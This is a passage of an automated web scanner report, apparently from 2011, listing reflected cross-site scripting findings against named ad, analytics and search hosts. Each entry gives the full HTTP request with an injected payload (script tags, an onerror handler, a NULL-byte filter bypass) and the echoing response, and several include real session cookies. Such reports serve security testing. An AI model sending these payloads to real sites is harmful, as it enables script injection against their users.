if(typeof(dartCallbackObjects) == "undefined")
var dartCallbackObjects = new Array();
if(typeof(dartCreativeDisplayManagers) == "undefined")
var dartCreativeDisplayManagers =
...[SNIP]...
ttp://ad.doubleclick.net/activity;src=2127271;stragg=1;v=1;pid=18824836;aid=236883395;ko=0;cid=40818774;rid=40836561;rv=1;rn=2307084;";
this.swfParams = 'src=2127271&rv=1&rid=40836561&=27956'-alert(1)-'a0fcdcacbd9&';
this.renderingId = "40836561";
this.previewMode = (("%PreviewMode" == "true") ? true : false);
this.debugEventsMode = (("%DebugEventsMode" == "true")
...[SNIP]...

1.41. http://ad.doubleclick.net/adj/KOMO/HOME [sz parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adj/KOMO/HOME

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload %00322a1'-alert(1)-'c7b800a0218 was submitted in the sz parameter. This input was echoed as 322a1'-alert(1)-'c7b800a0218 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /adj/KOMO/HOME;sz=%00322a1'-alert(1)-'c7b800a0218 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.komonews.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 50373
Cache-Control: no-cache
Pragma: no-cache
Date: Wed, 23 Feb 2011 21:47:29 GMT
Expires: Wed, 23 Feb 2011 21:47:29 GMT

document.write('');

if(typeof(dartCallbackObjects) == "undefined")
var dartCallbackObjects = new Array();
if(typeof(dartCreativeDisplayManagers) == "undefined")
var dartCreativeDisplayManagers =
...[SNIP]...
://ad.doubleclick.net/activity;src=2127271;stragg=1;v=1;pid=18824836;aid=236883395;ko=0;cid=40818774;rid=40836561;rv=1;rn=2864662;";
this.swfParams = 'src=2127271&rv=1&rid=40836561&=%00322a1'-alert(1)-'c7b800a0218&';
this.renderingId = "40836561";
this.previewMode = (("%PreviewMode" == "true") ? true : false);
this.debugEventsMode = (("%DebugEventsMode" == "true")
...[SNIP]...

1.42. http://ak.quantcast.com/css/ie6.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://ak.quantcast.com
Path:   /css/ie6.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 48256"><a>b8cff9c400d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /css48256"><a>b8cff9c400d/ie6.css HTTP/1.1
Host: ak.quantcast.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1298206755.1298496833.3; __utmc=14861494; __utmb=14861494.1.10.1298496833; __qca=P0-1138661367-1297862290557;

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en
Date: Wed, 23 Feb 2011 23:11:46 GMT
Content-Length: 7728
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">


<html>


<head>

<meta http-equiv="Content-Type" content="text/html; cha
...[SNIP]...
<input type="text" id="query" class="search-main placeholder" name="q" autocomplete="off" value=" css48256"><a>b8cff9c400d ie6.css" />
...[SNIP]...

1.43. http://ak.quantcast.com/css/ie6.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://ak.quantcast.com
Path:   /css/ie6.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8485d"><a>4fb1c3ae11e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /css/ie6.css8485d"><a>4fb1c3ae11e HTTP/1.1
Host: ak.quantcast.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1298206755.1298496833.3; __utmc=14861494; __utmb=14861494.1.10.1298496833; __qca=P0-1138661367-1297862290557;

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en
Date: Wed, 23 Feb 2011 23:12:20 GMT
Content-Length: 7728
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">


<html>


<head>

<meta http-equiv="Content-Type" content="text/html; cha
...[SNIP]...
<input type="text" id="query" class="search-main placeholder" name="q" autocomplete="off" value=" css ie6.css8485d"><a>4fb1c3ae11e" />
...[SNIP]...

1.44. http://ak.quantcast.com/css/ie7.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://ak.quantcast.com
Path:   /css/ie7.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 62631"><a>0818aa67453 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /css62631"><a>0818aa67453/ie7.css?v=2011022307 HTTP/1.1
Host: ak.quantcast.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1298206755.1298496833.3; __utmc=14861494; __utmb=14861494.1.10.1298496833; __qca=P0-1138661367-1297862290557;

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en
Date: Wed, 23 Feb 2011 23:11:47 GMT
Content-Length: 7728
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">


<html>


<head>

<meta http-equiv="Content-Type" content="text/html; cha
...[SNIP]...
<input type="text" id="query" class="search-main placeholder" name="q" autocomplete="off" value=" css62631"><a>0818aa67453 ie7.css" />
...[SNIP]...

1.45. http://ak.quantcast.com/css/ie7.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://ak.quantcast.com
Path:   /css/ie7.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fd709"><a>6e1ecdc6d7c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /css/ie7.cssfd709"><a>6e1ecdc6d7c?v=2011022307 HTTP/1.1
Host: ak.quantcast.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1298206755.1298496833.3; __utmc=14861494; __utmb=14861494.1.10.1298496833; __qca=P0-1138661367-1297862290557;

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en
Date: Wed, 23 Feb 2011 23:12:23 GMT
Content-Length: 7728
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">


<html>


<head>

<meta http-equiv="Content-Type" content="text/html; cha
...[SNIP]...
<input type="text" id="query" class="search-main placeholder" name="q" autocomplete="off" value=" css ie7.cssfd709"><a>6e1ecdc6d7c" />
...[SNIP]...

1.46. http://ak.quantcast.com/dynamic-css/screen-optimized.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://ak.quantcast.com
Path:   /dynamic-css/screen-optimized.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 96fc2"><a>418e99f22e1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /dynamic-css96fc2"><a>418e99f22e1/screen-optimized.css?v=2011022307 HTTP/1.1
Host: ak.quantcast.com
Proxy-Connection: keep-alive
Referer: http://www.quantcast.com/top-sites-1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1138661367-1297862290557; __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1297862294.1298206755.2

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Vary: Accept-Encoding
Date: Wed, 23 Feb 2011 21:46:09 GMT
Connection: close
Content-Length: 7788


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">


<html>


<head>

<meta http-equiv="Content-Type" content="text/html; cha
...[SNIP]...
<input type="text" id="query" class="search-main placeholder" name="q" autocomplete="off" value=" dynamic-css96fc2"><a>418e99f22e1 screen-optimized.css" />
...[SNIP]...

1.47. http://ak.quantcast.com/dynamic-css/screen-optimized.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://ak.quantcast.com
Path:   /dynamic-css/screen-optimized.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e40a8"><a>dca22fd21f3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /dynamic-css/screen-optimized.csse40a8"><a>dca22fd21f3?v=2011022307 HTTP/1.1
Host: ak.quantcast.com
Proxy-Connection: keep-alive
Referer: http://www.quantcast.com/top-sites-1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1138661367-1297862290557; __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1297862294.1298206755.2

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Vary: Accept-Encoding
Date: Wed, 23 Feb 2011 21:46:45 GMT
Connection: close
Content-Length: 7791


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">


<html>


<head>

<meta http-equiv="Content-Type" content="text/html; cha
...[SNIP]...
<input type="text" id="query" class="search-main placeholder" name="q" autocomplete="off" value=" dynamic-css screen-optimized.csse40a8"><a>dca22fd21f3" />
...[SNIP]...

1.48. http://ak.quantcast.com/images/sprite.png [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://ak.quantcast.com
Path:   /images/sprite.png

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a9904"><a>6e51fd54aca was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /imagesa9904"><a>6e51fd54aca/sprite.png?v=20110222 HTTP/1.1
Host: ak.quantcast.com
Proxy-Connection: keep-alive
Referer: http://www.quantcast.com/top-sites-1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1138661367-1297862290557; __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1298206755.1298496833.3; __utmc=14861494; __utmb=14861494.1.10.1298496833

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Vary: Accept-Encoding
Date: Wed, 23 Feb 2011 21:46:10 GMT
Connection: close
Content-Length: 7746


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">


<html>


<head>

<meta http-equiv="Content-Type" content="text/html; cha
...[SNIP]...
<input type="text" id="query" class="search-main placeholder" name="q" autocomplete="off" value=" imagesa9904"><a>6e51fd54aca sprite.png" />
...[SNIP]...

1.49. http://ak.quantcast.com/images/sprite.png [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://ak.quantcast.com
Path:   /images/sprite.png

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc0e4"><a>81bf2eedf52 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /images/sprite.pngcc0e4"><a>81bf2eedf52?v=20110222 HTTP/1.1
Host: ak.quantcast.com
Proxy-Connection: keep-alive
Referer: http://www.quantcast.com/top-sites-1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1138661367-1297862290557; __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1298206755.1298496833.3; __utmc=14861494; __utmb=14861494.1.10.1298496833

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Vary: Accept-Encoding
Date: Wed, 23 Feb 2011 21:46:47 GMT
Connection: close
Content-Length: 7746


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">


<html>


<head>

<meta http-equiv="Content-Type" content="text/html; cha
...[SNIP]...
<input type="text" id="query" class="search-main placeholder" name="q" autocomplete="off" value=" images sprite.pngcc0e4"><a>81bf2eedf52" />
...[SNIP]...

1.50. http://ak.quantcast.com/js/concat.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://ak.quantcast.com
Path:   /js/concat.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2add5"><a>fbd859f2a29 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /js2add5"><a>fbd859f2a29/concat.js?v=2011022307 HTTP/1.1
Host: ak.quantcast.com
Proxy-Connection: keep-alive
Referer: http://www.quantcast.com/top-sites-1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1138661367-1297862290557; __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1297862294.1298206755.2

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Vary: Accept-Encoding
Date: Wed, 23 Feb 2011 21:46:09 GMT
Connection: close
Content-Length: 7728


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">


<html>


<head>

<meta http-equiv="Content-Type" content="text/html; cha
...[SNIP]...
<input type="text" id="query" class="search-main placeholder" name="q" autocomplete="off" value=" js2add5"><a>fbd859f2a29 concat.js" />
...[SNIP]...

1.51. http://ak.quantcast.com/js/concat.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://ak.quantcast.com
Path:   /js/concat.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3131a"><a>e5ef3186019 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /js/concat.js3131a"><a>e5ef3186019?v=2011022307 HTTP/1.1
Host: ak.quantcast.com
Proxy-Connection: keep-alive
Referer: http://www.quantcast.com/top-sites-1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1138661367-1297862290557; __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1297862294.1298206755.2

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Vary: Accept-Encoding
Date: Wed, 23 Feb 2011 21:46:46 GMT
Connection: close
Content-Length: 7728


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">


<html>


<head>

<meta http-equiv="Content-Type" content="text/html; cha
...[SNIP]...
<input type="text" id="query" class="search-main placeholder" name="q" autocomplete="off" value=" js concat.js3131a"><a>e5ef3186019" />
...[SNIP]...

1.52. http://api.bing.com/qsonhs.aspx [q parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bing.com
Path:   /qsonhs.aspx

Issue detail

The value of the q request parameter is copied into the HTML document as plain text between tags. The payload acb7b<img%20src%3da%20onerror%3dalert(1)>a736eb9518c was submitted in the q parameter. This input was echoed as acb7b<img src=a onerror=alert(1)>a736eb9518c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /qsonhs.aspx?FORM=ASAPIH&q=acb7b<img%20src%3da%20onerror%3dalert(1)>a736eb9518c HTTP/1.1
Host: api.bing.com
Proxy-Connection: keep-alive
Referer: http://www.bing.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110215; _UR=OMW=1; _FP=; SRCHD=MS=1655311&SM=1&D=1644428&AF=NOFORM; MUID=FA3AE6176FAC4414AD6FC26C726B4B15; _HOP=; _SS=SID=641CB7A32570469C873045A16513C459&CW=1437

Response

HTTP/1.1 200 OK
Content-Length: 79
Content-Type: application/json; charset=utf-8
X-Akamai-TestID: 6a828c6d806f46b4821695af4181d82d
Date: Sat, 26 Feb 2011 00:17:05 GMT
Connection: close

{"AS":{"Query":"acb7b<img src=a onerror=alert(1)>a736eb9518c","FullResults":1}}

1.53. http://areacode.org/803 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://areacode.org
Path:   /803

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload cc32c'><script>alert(1)</script>e07cbbd8d60 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /803?cc32c'><script>alert(1)</script>e07cbbd8d60=1 HTTP/1.1
Host: areacode.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 26 Feb 2011 01:58:39 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: CFID=11022745;expires=Mon, 18-Feb-2041 01:58:39 GMT;path=/
Set-Cookie: CFTOKEN=61649987;expires=Mon, 18-Feb-2041 01:58:39 GMT;path=/
Content-Type: text/html; charset=UTF-8


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
   
...[SNIP]...
<input id="page_link" name="page_link" type="text" class="text_field" value='http://areacode.org/803?cc32c'><script>alert(1)</script>e07cbbd8d60=1'>
...[SNIP]...

1.54. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90 [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b3.mookie1.com
Path:   /2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c9584"><script>alert(1)</script>e2a5ada99b2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTraderc9584"><script>alert(1)</script>e2a5ada99b2/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW801b0RcADNFE; RMFM=011PphRBU10Dzy; ATTW=TrafficMarketplaceB3; other_20110126=set; id=3375925924; dlx_XXX=set

Response

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 21:38:30 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 396
Content-Type: text/html
Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09499e6e45525d5f4f58455e445a4a423660;path=/

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTraderc9584"><script>alert(1)</script>e2a5ada99b2/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1/2013242908/x90/default/empty.gif/726348573830316230526341444e4645?x" target="_top">
...[SNIP]...

1.55. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b3.mookie1.com
Path:   /2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4c39"><script>alert(1)</script>30bb4a78677 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTrader/ATTd4c39"><script>alert(1)</script>30bb4a78677/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW801b0RcADNFE; RMFM=011PphRBU10Dzy; ATTW=TrafficMarketplaceB3; other_20110126=set; id=3375925924; dlx_XXX=set

Response

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 21:38:32 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 396
Content-Type: text/html
Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09499e6f45525d5f4f58455e445a4a423660;path=/

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTrader/ATTd4c39"><script>alert(1)</script>30bb4a78677/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1/1962202983/x90/default/empty.gif/726348573830316230526341444e4645?x" target="_top">
...[SNIP]...

1.56. http://b3.mookie1.com/2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90 [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b3.mookie1.com
Path:   /2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90

Issue detail

